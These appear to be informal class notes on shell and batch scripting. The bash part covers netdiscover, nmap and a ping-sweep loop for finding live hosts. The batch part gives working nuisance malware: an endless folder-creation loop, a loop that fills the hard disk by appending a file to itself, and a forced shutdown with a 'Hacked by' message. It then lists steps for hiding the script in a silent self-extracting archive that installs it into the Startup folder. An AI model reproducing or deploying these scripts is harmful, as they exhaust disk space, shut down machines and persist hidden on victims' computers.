Grade 2 Session 14

Shell SCripting
---------------

Tool -> netdiscover


Tool -> nmap


Linux OS -


Editor -> gedit | nano | leafpad | vi | vim etc


Extension : .sh
chmod 777 file.sh
./file.sh
file name ----> scann.sh

#/bin/bash/
ping www.google.com

----exit------
chmod 777 scann.sh

netdiscover -> machines are runing in my network



#/bin/bash/
ping -c 1  172.16.3.134 |grep "64 bytes"
ping -c 1  172.16.3.136 |grep "64 bytes"
ping -c 1  172.16.3.137 |grep "64 bytes"
ping -c 1  172.16.3.145 |grep "64 bytes"


192.168.0.23
192.168.0.0-192.168.0.255


for(i = 0; i < 10;i++)
{
	print i;
}

0
1
2
3
4
5
6
7
8
9

i value --> 1-255
192.168.0.i

192.168.0.1
192.168.0.2
192.168.0.3
**.**.**.**
192.168.0.255


192.168.0.12
192.168.0.0-192.168.0.255
192.168.0.1
192.168.0.2
192.168.0.3




for ip in $(seq 1 255);do
ping -c 1 172.16.3.$ip | grep "64 bytes"
done

ping -c 1 192.168.0.1 | grep "64 bytes"
ping -c 1 192.168.0.2 | grep "64 bytes"
ping -c 1 192.168.0.3 | grep "64 bytes"

ping -c 1 192.168.0.255 | grep "64 bytes"





192.168.0.255

#/bin/bash/
for ip in $(seq 1 255);do
ping -c 1 172.16.3.$ip |grep "ttl" |cut -d " " -f4 |cut -d ":" -f1
done



Batch SCripting
----------------

Editor -> Notepad

Extension: .bat


for creating randon folders
:banao
mkdir %random%
goto banao



for eating up the space in hard disk
:space
type chotu.txt>>chotu.txt
goto space


:space
echo "hello">>chotu.txt
goto space



@echo  off

Random Folder
Shutdown

shutdown -s -t 10 -c "Hacked by Neha Mam"


SFX ->
1. create a .bat file
2. right click on batch file
3. Add a archive
4. SFX
5. Advacnce tab ---> SFX  Option
6. goto general tab ---> path
7. Goto update tab --> select middle option for both the items
8. Goto setup --> provide the path of startup
9. goto Modes --> select hide all.
10. click OK
11. Click ok.....